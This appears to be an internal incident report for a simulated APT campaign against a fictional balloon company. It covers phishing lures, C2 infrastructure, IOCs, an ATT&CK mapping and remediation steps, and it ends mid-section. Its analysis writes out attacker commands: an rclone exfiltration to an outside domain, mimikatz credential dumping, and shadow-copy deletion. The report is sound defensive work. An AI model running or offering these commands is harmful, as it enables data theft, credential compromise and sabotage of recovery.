SECURITY INCIDENT REPORT

Iowa Balloons - Multi-Vector Cyber Espionage Campaign

CONFIDENTIAL - INTERNAL USE ONLY

Incident ID: IB-2023-001
Report Date: March 15, 2023
Analyst: Cyber Security Operations Center
Severity: **CRITICAL**
Campaign Type: **Advanced Persistent Threat (APT)**

Executive Summary

Iowa Balloons experienced a sophisticated, multi-vector cyberattack beginning in February 2023, characterized by targeted spear-phishing, watering hole attacks, and systematic data exfiltration. The campaign demonstrates advanced persistent threat (APT) characteristics with extensive reconnaissance activities focused on balloon operations and proprietary technology.

Key Impact Metrics

- **58 employees** clicked on malicious links across the campaign
- **36 machines compromised** with C2 connections established
- **14 devices** used for data exfiltration via rclone
- **16 devices** had Windows Defender disabled
- **4 user accounts** directly compromised
- **Ransomware indicators** detected on 0KYU_DESKTOP

🚨 Critical Threat Assessment

This attack demonstrates characteristics of state-sponsored or advanced criminal groups with specific interest in balloon/aerospace technology. The extensive reconnaissance focusing on "spy balloon blueprints" suggests potential espionage motives.

Attack Vectors & Campaigns

Campaign 1: Atmospheric Composition Phishing

- **Sender:** tethys@pocketbook.xyz
- **Subject:** "Urgent query about Earth's atmospheric composition"
- **Target Roles:** Flight crew personnel
- **Success Rate:** Eugene Lawrence clicked but did not download

Campaign 2: Flight Crew Information Campaign

- **Primary Target:** Richard Clement
- **Payload:** Flight-Crew-Information.xls
- **Impact:** yeargood.exe implant deployed, credential dumping executed
- **C2 Communication:** rundll32.exe connecting to 118.3.14.33:443

Campaign 3: Watering Hole Attack

Compromised Partner Site: blimpgoespop.com?redirect=espionage.com

Target: Son Johnson (Balloon Operations)

Payload: Flight-Crew-Information.docx from espionage.com (131.102.77.156)

Campaign 4: Critical Security Alert Campaign

- **Primary Sender:** SSL@hotmail.com
- **Subject:** "Critical Security Alert: Immediate Action Required"
- **Infrastructure:** Database.io (176.167.219.168)
- **Victim:** Carolyn Schaeffer (account compromise and data exfiltration)

Technical Analysis

Reconnaissance Activities

Attackers conducted extensive reconnaissance on Iowa Balloons infrastructure:

```
# Target Research Queries https://iowaballoons.com/search?
query=what%20OS%20do%20the%20balloons%20run%3F https://iowaballoons.com/search?
query=spy%20balloon%20blueprints https://iowaballoons.com/search?
query=are%20macros%20enabled https://iowaballoons.com/search?
query=password%20expiration%20policy https://iowaballoons.com/search?
query=how%20to%20get%20it%20support # Complex URL with tracking parameters
https://iowaballoons.com/files/share/search/files/files?tracking=gaslight?
type=hypnotise?uid=hypnotise?user=crossexamines?source=inexperience
```

Malware Analysis

- **Primary Payload:** yeargood.exe (created in C:\ProgramData\NotASpy\)
- **Associated DLL:** ISDQKWGM.dll
- **Secondary Payload:** helium.exe (Julie Wells' machine - 3CIU-LAPTOP)

Command & Control Infrastructure

C2 IP Address	Port	Associated Domains	Compromised Hosts
118.3.14.33	443	Unknown	Richard Clement's machine
172.181.104.77	443	infiltrate.air	3CIU-LAPTOP (Julie Wells)
179.175.35.248	443	pheasants-infiltrate.com, deference.com, covert.com, deference.air	GWB7-DESKTOP
131.102.77.156	Web	surveil-covert.com, infiltrate.air, espionage.com, surveil.air	Son Johnson's machine
176.167.219.168	Web	Database.io + 7 others	Multiple victims

Data Exfiltration Methods

```
# Rclone Data Exfiltration Command rclone.exe copy --transfers12 "*docx" "*xls"
"*pdf" "*zip" infiltrate.air # Credential Dumping mimikatz.exe
"sekurlsa::logonpasswords" # Directory Enumeration and Exfiltration #
BalloonSecrets folder contents dumped to mylist.txt # Account Compromise
Exfiltration contents.zip (Carolyn Schaeffer - 2023-02-11T13:34:31.2917790Z)
```

⚠️ Ransomware Preparation Detected

Host: 0KYU_DESKTOP

Command: `vssadmin.exe Delete Shadows /all /quiet`

Significance: Shadow copy deletion is a common ransomware preparation technique, indicating potential future encryption attacks.

Compromised Personnel & Systems

Eugene Lawrence

IP Address: 192.168.0.123
Status: Clicked malicious link (2023-02-10T10:42:39.9904710Z) but did not download payload
Target Vector: Atmospheric composition phishing

Richard Clement

Status: Downloaded Flight-Crew-Information.xls (2023-03-04T07:50:39.7612800Z)
Compromise: yeargood.exe implant, credential dumping, BalloonSecrets folder enumerated
C2 Connection: rundll32.exe → 118.3.14.33:443

Son Johnson

Role: Balloon Operations
Compromise Date: 2023-02-19 05:02
Attack Vector: Watering hole via blimpgoespop.com
Payload: Flight-Crew-Information.docx

Julie Wells

Role: Balloon Pilot
Hostname: 3CIU-LAPTOP
Malware: helium.exe
C2 Connection: rundll32.exe → 172.181.104.77:443
Data Exfiltration: rclone used for file extraction

Carolyn Schaeffer

Attack Vector: Critical Security Alert phishing
Compromise: Account takeover by attacker IP 171.250.201.103
Data Loss: contents.zip exfiltrated (2023-02-11T13:34:31.2917790Z)

Additional Compromised Systems

- 2NVL-DESKTOP

- QCA0-MACHINE
- RQSO-DESKTOP
- PU6S-LAPTOP
- GWB7-DESKTOP
- 6CY5-DESKTOP
- CXI9-DESKTOP
- QSNP-DESKTOP
- CIZU-DESKTOP
- ITOZ-MACHINE
- CISC-LAPTOP
- LUT2-DESKTOP
- ADHQ-LAPTOP

Attack Timeline

February 10, 2023 - 10:42:39 UTC

Eugene Lawrence clicks atmospheric composition phishing link but does not download payload

February 11, 2023 - 13:34:31 UTC

Carolyn Schaeffer's data exfiltrated via contents.zip after account compromise

February 19, 2023 - 05:02 UTC

Son Johnson downloads Flight-Crew-Information.docx via watering hole attack

March 4, 2023 - 07:50:39 UTC

Major Breach: Richard Clement downloads and executes Flight-Crew-Information.xls

- yeargood.exe implant deployed
- C2 connection established (118.3.14.33:443)
- Domain reconnaissance commands executed
- Credential dumping with mimikatz.exe
- BalloonSecrets folder enumerated and exfiltrated

Ongoing Campaign Activity

- 58 employees targeted across multiple campaigns
- 36 machines establish C2 connections
- 16 devices have Windows Defender disabled
- 14 devices used for rclone data exfiltration
- Ransomware preparation detected on 0KYU_DESKTOP

Indicators of Compromise (IOCs)

Email Addresses

- tethys@pocketbook.xyz
- tyler_morris@wesellballoons.com
- SSL@hotmail.com (primary threat actor)

Malicious Domains

- invasion.xyz
- contortionistturnouts.xyz
- pocketbook.xyz
- antennas-passers.com
- contortionist.com
- espionage.com
- surveil-covert.com
- infiltrate.air
- surveil.air
- Database.io
- Hardware.com
- pheasants-infiltrate.com
- deference.com
- covert.com
- deference.air

Malicious Files

Filename	Type	Path	Associated Hash/Component
Flight-Crew-Information.xls	Weaponized Excel	Downloads folder	Drops yeargood.exe
Flight-Crew-Information.docx	Weaponized Word	Downloads folder	Son Johnson infection
yeargood.exe	Backdoor/Implant	C:\ProgramData\NotASpy\	ISDQKWGM.dll
helium.exe	Secondary Payload	3CIU-LAPTOP	Julie Wells machine
contents.zip	Exfiltrated Data	External	Carolyn Schaeffer data
mylist.txt	Enumerated Data	Richard's machine	BalloonSecrets folder dump

Command & Control Infrastructure

- 118.3.14.33:443 (rundll32.exe connections)
- 172.181.104.77:443 (rundll32.exe connections)
- 179.175.35.248:443 (rundll32.exe connections)
- 131.102.77.156 (watering hole infrastructure)
- 176.167.219.168 (Database.io)
- 171.250.201.103 (account takeover)
- 53.85.224.235 (reconnaissance activities)

MITRE ATT&CK Mapping

Tactic	Technique	Observed Behavior
Initial Access	T1566.001 - Spearphishing Attachment	Weaponized Excel/Word documents
Initial Access	T1189 - Drive-by Compromise	Watering hole via blimpgoespop.com
Execution	T1204.002 - User Execution: Malicious File	Users executing downloaded attachments
Persistence	T1547 - Boot or Logon Autostart	yeargood.exe, helium.exe implants
Defense Evasion	T1562.001 - Disable/Modify Tools	Windows Defender disabled on 16 devices
Credential Access	T1003.001 - LSASS Memory	mimikatz.exe credential dumping
Discovery	T1087.002 - Domain Account Discovery	net group /domain commands
Discovery	T1083 - File/Directory Discovery	BalloonSecrets folder enumeration
Command and Control	T1071.001 - Web Protocols	rundll32.exe C2 connections
Exfiltration	T1041 - Exfiltration Over C2	rclone data exfiltration to infiltrate.air
Impact	T1490 - Inhibit System Recovery	vssadmin shadow copy deletion

Immediate Response Actions

Critical (0-4 hours)

- **Network Isolation:** Immediately isolate all 36 compromised machines from the network
- **C2 Blocking:** Block all identified C2 IP addresses and domains at network perimeter
- **Account Security:** Reset passwords for all 4 compromised accounts, especially Carolyn Schaeffer
- **Shadow Copy Protection:** Prevent further vssadmin execution on remaining systems

- **Backup Verification:** Immediately verify backup integrity and move to air-gapped storage

High Priority (4-24 hours)

- **Email Quarantine:** Block all emails from SSL@hotmail.com and identified senders
- **Windows Defender:** Re-enable and update on all 16 affected devices
- **Forensic Imaging:** Create images of Richard Clement's and Julie Wells' machines
- **rclone Detection:** Hunt for rclone processes across the network
- **BalloonSecrets Assessment:** Determine extent of proprietary data exposure

Medium Priority (1-7 days)

- **Watering Hole Mitigation:** Contact blimpgoespop.com about compromise
- **Employee Communication:** Inform all 58 affected employees about the campaign
- **Threat Hunting:** Search for additional implants and backdoors
- **Security Training:** Emergency training on balloon industry-targeted attacks

Long-term Security Improvements

Email Security Enhancement

- Deploy advanced email security with attachment sandboxing
- Implement specific detection for aerospace/balloon-themed attacks
- Block executables disguised as Office documents
- Enhanced monitoring of external email domains

Network Security

- Implement network segmentation for sensitive balloon operations
- Deploy DNS filtering to block malicious domains
- Monitor for rundll32.exe network connections
- Implement DLP for "spy balloon blueprints" and similar sensitive terms

Endpoint Protection